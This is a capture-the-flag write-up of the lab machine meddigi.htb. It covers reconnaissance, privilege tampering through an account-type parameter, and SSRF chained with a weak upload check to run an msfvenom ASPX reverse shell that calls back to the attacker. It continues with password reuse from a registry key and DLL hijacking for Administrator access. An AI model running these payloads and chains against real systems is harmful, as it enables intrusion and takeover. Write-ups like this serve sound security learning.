As always, we begin with a port scan:
╰─ nmap -sC -sV 10.129.11.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 16:12 CST
Nmap scan report for 10.129.11.88
Host is up (0.031s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
|_http-server-header: Microsoft-IIS/10.0
443/tcp open https?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.83 seconds
We are given a site called meddigi.htb
that we can add to our hosts file and an IIS page on port 443.
If we look around the site for a while, we are able to make an account and when inspecting the account creation POST request it seems like we might be able to change a parameter called Acctype
that is set to one by default:
If we make an account and leave it like this, we have what seems to be a patient account which makes sense as the website seems to be for a medical services provider of some kind.
If we change the value of Acctype
from one to two, we are given more capabilities on the site. For example, when we make our first account there is a section of the page that says: You currently have no supervising doctors.
but when we make the new account with a different account type, we see the following:
It seems like we were able to change our account permissions form that of a patient to a doctor, giving us the ability to add patients. We can message between patients and doctors, but this by itself doesn’t seem too useful, as the only accounts present are ones we created.
If we use Ffuf
to look for subdomains, we will discover portal.meddigi.htb
which we can add to our hosts file and find a login page.
╰─ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://meddigi.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.meddigi.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
portal [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2279ms]
:: Progress: [4989/4989] :: Job [1/1] :: 270 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
The issue with logging into this page is that it asks for something called a doctor reference number that we don’t seem to have.
In my testing I found that if we made a new doctor account and used the cookies when trying to access the new site, we were able to log in:
One of the functionalities available on the site allows us to issue prescriptions by including an email address and a link. I decided to see if it would reach out to my server when I provided my own IP in the link field:
This worked and I got a GET request back on my listener:
╰─ nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from meddigi.htb [10.129.11.88] 61898
GET / HTTP/1.1
Host: 10.10.14.14:1234
traceparent: 00-7db807b2ae54148d5ab099d327be9fa0-3bd166f0ddce6e15-00
This by itself doesn’t really tell me much information, when I try to use http://127.0.0.1
, it renders the profile page from earlier in the link preview window.
I had to reach out for help at this point and was told to investigate port 8080 and see if there is any potential SSRF we could pull off.
When we try to query port 8080 from the link section, we are able to see that a new file and prescription is referenced:
When we utilize the Upload Report
functionality, we are able to see those results here as well:
When we inspect the file upload function, it seems to only sanitize based on a few bytes at the beginning of the file to verify that the uploaded file is a PDF:
This uploaded file also shows up in the list from earlier. Let’s put these pieces together:
- We can upload a file of any type
- We can use SSRF to fetch that file once uploaded
Given these two characteristics of the web application, we can first upload a reverse shell script, use SSRF to get its file path, then use the same SSRF to execute it.
We can make our shell.aspx
using msfvenom
, making sure to use port 443 because some of the traffic on this endpoint seems to be really tedious to work with.
╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.10 LPORT=443 -f aspx -o shell.aspx
Then, we can spin up metasploit
and configure our listener:
╰─ msfconsole -q
msf6 > use /exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
# set your LHOST and LPORT as needed, mine are 10.10.14.10 and 443 respectively. Use the run command when you're ready to start catching shells
Next, we can upload our shell.aspx
file by capturing an upload of a PDF and changing the filename and form data accordingly:
Then, go back to the Issue Prescriptions
page and view the entry we just made:
Now that we have the path for our malicious file, we just need to copy the link and use SSRF to access it. This way we have the privileges of whatever service is running on port 8080. You should get a link preview like this:
Then in Metasploit we catch our shell if everything went according to plan:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://10.10.14.10:443
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: hkzi0lpp) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: hkzi0lpp) Staging x64 payload (201820 bytes) ...
[*] Meterpreter session 2 opened (10.10.14.10:443 -> 10.129.37.80:56718) at 2024-01-15 21:40:41 -0600
meterpreter > getuid
Server username: APPSANITY\svc_exampanel
meterpreter >
One issue I ran into though is that this session seems to become invalidated or maybe our shell file gets deleted very quickly. Thankfully we can learn some post-exploitation tricks along the way here on making sure we have a more stable shell.
We can try out a module called migrate
and a neat article here tells us all about it and how to use it. Before we migrate though we need a process we feel safe migrating to. We can use the execute
module to start a program with a high integrity level using -H
and use -f
to specify the file program to run.
meterpreter > execute -H -f notepad
Process 2108 created.
meterpreter > migrate 2108
[*] Migrating from 5816 to 2108...
[*] Migration completed successfully.
meterpreter >
Now we don’t need to worry about our session dropping on us. After viewing the filesystem we were dropped into, it does appear like our shell.aspx
file was removed and that is why our shell disappeared, but I am not totally sure how.
We can go to the service account’s Desktop and read the user flag:
meterpreter > ls
Listing: c:\Users\svc_exampanel\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 34 fil 2024-01-15 19:44:44 -0600 user.txt
If we look around on the machine, in the inetpub
directory we can find some of the files used in the ExaminationPanel
application:
meterpreter > ls
Listing: c:\inetpub\ExaminationPanel\ExaminationPanel\bin
=========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw 591752 fil 2023-09-24 10:46:11 -050 EntityFramework.SqlServer
- 0 .dll
100666/rw-rw-rw 4991352 fil 2023-09-24 10:46:13 -050 EntityFramework.dll
- 0
100666/rw-rw-rw 13824 fil 2023-09-24 10:46:10 -050 ExaminationManagement.dll
- 0
100666/rw-rw-rw 40168 fil 2023-09-24 10:46:10 -050 Microsoft.CodeDom.Provide
- 0 rs.DotNetCompilerPlatform
.dll
100666/rw-rw-rw 206512 fil 2023-09-24 10:46:11 -050 System.Data.SQLite.EF6.dl
- 0 l
100666/rw-rw-rw 206520 fil 2023-09-24 10:46:11 -050 System.Data.SQLite.Linq.d
- 0 ll
100666/rw-rw-rw 431792 fil 2023-09-24 10:46:11 -050 System.Data.SQLite.dll
- 0
040777/rwxrwxrw 24576 dir 2023-09-24 10:49:49 -050 roslyn
x 0
040777/rwxrwxrw 0 dir 2023-09-24 10:49:49 -050 x64
x 0
040777/rwxrwxrw 0 dir 2023-09-24 10:49:49 -050 x86
x 0
We can download these .dll
files to our machine and take a look at them on dnSpy
or some other .NET
decompiler. It takes a long time of looking around but eventually we will find something worth investigating:
The function name nearly says it all, but this will grab an encryption key from the registry on the machine. The registry basically stores a bunch of configuration settings and important information needed for the OS to function.
Not really the best place to be keeping encryption keys but I’m no developer. We can go ahead and read these using the reg
command in CMD. All we need to do is use the meterpreter
to drop us in a shell and we can see the key:
meterpreter > shell
Process 5772 created.
Channel 2 created.
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>reg query HKLM\Software\MedDigi
reg query HKLM\Software\MedDigi
HKEY_LOCAL_MACHINE\Software\MedDigi
EncKey REG_SZ 1g************!
This doesn’t really look like a great key, it is just some leet-speak password. I was confused on what to do from here and another CTF player thankfully have me the hint to just try and use it as a password for another user.
Why didn’t I think of that…
Looking at the C:\Users
directory gives us a list of names:
meterpreter > ls
Listing: c:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2023-10-18 20:08:02 -0500 Administrator
040777/rwxrwxrwx 0 dir 2019-12-07 03:30:39 -0600 All Users
040555/r-xr-xr-x 8192 dir 2023-09-15 18:52:26 -0500 Default
040777/rwxrwxrwx 0 dir 2019-12-07 03:30:39 -0600 Default User
040555/r-xr-xr-x 4096 dir 2023-09-15 08:59:56 -0500 Public
100666/rw-rw-rw- 174 fil 2019-12-07 03:12:42 -0600 desktop.ini
040777/rwxrwxrwx 8192 dir 2023-09-24 13:16:51 -0500 devdoc
040777/rwxrwxrwx 8192 dir 2023-10-18 20:40:06 -0500 svc_exampanel
040777/rwxrwxrwx 8192 dir 2023-10-17 17:05:07 -0500 svc_meddigi
040777/rwxrwxrwx 8192 dir 2023-10-18 21:10:39 -0500 svc_meddigiportal
We can use this to log in with evil-winrm
as the devdoc
user and keep looking around. One of the directories we did not have access to as the svc_exampanel
user was the C:\Program Files\ReportManagement
directory.
*Evil-WinRM* PS C:\Program Files\ReportManagement> ls
Directory: C:\Program Files\ReportManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2023 11:33 AM Libraries
-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
-a---- 9/17/2023 3:54 AM 140512 profapi.dll
-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
-a---- 5/5/2023 5:21 AM 179248 wldp.dll
We can start with more reverse engineering of the executables here. I opted to use Ghidra for this step but any decompiler will do. It took me forever to find something I could wrap my head around but eventually found a larger function with what looked like a help menu:
It seems like some of the program options allow us to upload, validate, and backup reports. The upload function seems most interesting because it seems to allow us to reach out to an external source.
It also seems like files added are manipulated in the Administrator user’s directory, which to me implied that this program is running with some elevated privileges or something similar.
It seems like when files are uploaded they are placed in this Libraries
directory before they are actually used.
This shows some file called externalupload
that maybe seems to be a .dll
but I’m not great at understanding assembly or really using Ghidra. I began looking for anything about DLLs because it seemed like a good idea at the time.
This seems to verify my suspicions that there was at least something doing on with DLLs. It seems like one is used when uploading to a remote source because in a few other places in the assembly we see memory labeled as DLLs being cleared.
So, what can I even make of all of this?
After pondering and some help from other community members, I was able to think up something that at least was convincing enough for me.
This program must be reaching out to some other machine to upload documents in some way. There is a file that seems to be related to this process because of its name externalupload
and its location in the Libraries
directory.
The application seems to be reaching out on port 100 as we can see by using our very first shell:
meterpreter > netstat -anob
Connection list
===============
Proto Local addr Remote add State User Inode PID/Program name
ess ress
----- ---------- ---------- ----- ---- ----- ----------------
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:10 0.0.0.0:* LISTEN 0 0 4260/ReportManagement.exe
---SNIP---
So the application is seemingly sending a command prompt instance running this program to the specified port on the local machine.
Well, we know that this is running with the admin’s level of privilege and it gets this DLL from the Libraries
directory, so let’s see if we can write there:
*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls Libraries
Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
BUILTIN\Administrators:(I)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(R)
NT SERVICE\TrustedInstaller:(I)(CI)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
Well it does look like we have read (RX) and write (W) permissions on this directory and this is where that DLL is supposed to be, but the directory was empty at the first glance.
This is where a blog post by notchxor came in handy for me when learning about DLL hijacking and how to perform it.
We already fill the conditions of having a process without a DLL so we can make a malicious one, upload it there and use the upload functionality in the application to trigger it, hopefully getting us our shell.
We can use meterpreter
to forward a port instead of fiddling around with chisel:
meterpreter > portfwd add -l 7777 -p 100 -r 127.0.0.1
Then we can make our malicious DLL:
╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.10 LPORT=443 -f dll -o externalupload.dll
We can then upload it using evil-winrm
like this:
*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> upload externalupload.dll
Then on our listener on port 7777, we will get access to the reports management console where we need to run the upload
command to get the program to use our malicious DLL from the Libraries
directory:
╰─ nc 127.0.0.1 7777
Reports Management administrative console. Type "help" to view available commands.
upload externalupload.dll
Attempting to upload to external source.
Then in metasploit
, you should get a shell from the administrator, you’ll need to do the same migration we did earlier if you want to have this shell for long:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://10.10.14.10:443
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Staging x64 payload (201820 bytes) ...
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (10.10.14.10:443 -> 10.129.37.80:56745) at 2024-01-15 22:55:51 -0600
meterpreter > execute -H -f notepad
Process 284 created.
meterpreter > migrate 284
[*] Migrating from 3568 to 284...
[*] Migration completed successfully.
meterpreter > getuid
Server username: APPSANITY\Administrator
meterpreter >
Now you can just go to the administrator’s desktop and read the flag.